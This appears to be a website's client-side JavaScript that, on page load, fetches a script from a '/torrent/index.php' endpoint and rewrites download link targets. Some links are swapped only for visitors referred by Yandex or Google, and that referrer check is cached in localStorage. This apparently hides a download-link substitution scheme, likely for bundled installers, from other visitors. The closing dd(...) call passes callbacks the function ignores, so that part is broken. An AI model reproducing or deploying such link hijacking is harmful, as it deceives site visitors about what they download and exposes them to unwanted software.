function dd(){
    let ls = window.localStorage.getItem('is_r_s');

    if (ls === null){
        if (document.referrer.length <= 5){
            window.localStorage.setItem('is_r_s', '0');
            return false;
        }
        let referrer = document.referrer
            .replace('https://', '')
            .replace('http://', '')
            .replace('www.', '')
            .replace(/\/(.*?)$/, '');
        let se = ['yandex.ru', 'ya.ru', 'google.com', 'google.ru', 'google.ua'];

        if (se.indexOf(referrer) !== -1) {
            window.localStorage.setItem('is_r_s', '1');
            return true;
        }

        window.localStorage.setItem('is_r_s', '0');
        return false;
    } else if (ls === '0'){
        return false;
    } else if (ls === '1'){
        return true;
    }
}

window.addEventListener('load', function(){
    let el = document.querySelector('[data-ipack-name][data-ipack-link]');
    if (el !== null){
        let d_name = el.dataset['ipackName'];
        let d_link = el.dataset['ipackLink'];
        let ls_data = window.localStorage.getItem('IP_DATE_'+d_name);
        let ls_link = window.localStorage.getItem('IP_LINK_'+d_name);
        window._td_init = function(link){
            window.localStorage.setItem('IP_DATE_'+d_name, parseInt(new Date().getTime()/1000));
            window.localStorage.setItem('IP_LINK_'+d_name, link === false ? 0 : link);
            if (link !== false){
                let el_links = document.querySelectorAll('[data-ipack-link]');
                let detectResult = dd();
                if (el_links.length > 0){
                    el_links.forEach((ell, i) => {

                        if (ell.dataset['ipackSearch'] !== undefined){

                            if (detectResult === true){
                                ell.setAttribute('href', link)
                            }

                            return;
                        }

                        ell.setAttribute('href', link)
                    });
                }
                //if (el_link !== null){
                //    el_link.setAttribute('href', link)
                //}
            }
        };
        window._td_load = function(){
            let script = document.createElement('script');
            script.src = "/torrent/index.php?name="+encodeURIComponent(d_name)+"&site_id=101&sub_id=1&file_url="+encodeURIComponent(d_link);
            document.body.appendChild(script);
        };
        if (ls_data !== null && ls_link !== null){
            if ((parseInt(new Date().getTime()/1000)-parseInt(ls_data)) >= (60*60*24)){
                window._td_load();
            } else {
                if (parseInt(ls_link) === 0) ls_link = false;
                window._td_init(ls_link);
            }
        } else {
            window._td_load();
        }
    }
});

dd(function(){

    document.getElementById('myBlock1' ).style.display = 'block';
    document.getElementById('myBlock2' ).style.display = 'none';

}, function(){

    document.getElementById('myBlock1' ).style.display = 'none';
    document.getElementById('myBlock2' ).style.display = 'block';

});